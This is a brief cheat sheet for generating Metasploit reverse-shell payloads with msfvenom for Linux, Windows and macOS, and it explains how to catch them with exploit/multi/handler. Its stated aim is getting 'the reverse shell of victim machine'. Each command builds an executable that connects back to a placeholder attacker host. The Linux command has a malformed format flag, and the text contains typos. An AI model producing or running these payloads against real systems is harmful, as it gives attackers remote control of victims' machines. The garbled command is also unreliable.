Generating Metasploit Payloads : Creating Metasploit Reverse Shell
Below is the different type of Metasploit Payloads we can use while to get the reverse shell of victim machine.
These exploit can be used in metasploit by using set payload "payloadnae" and before it we have to set multi handler which can be configured by use exploit/multi/handler
Mention payloads require certain inputs as an option such as LHOST, LPORT.
Operating System Based Bionaries Shell
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=attackerip LPORT=attackerport -elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerip LPORT=attackerport -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=attackerip LPORT=attackerport -f macho > shell.macho
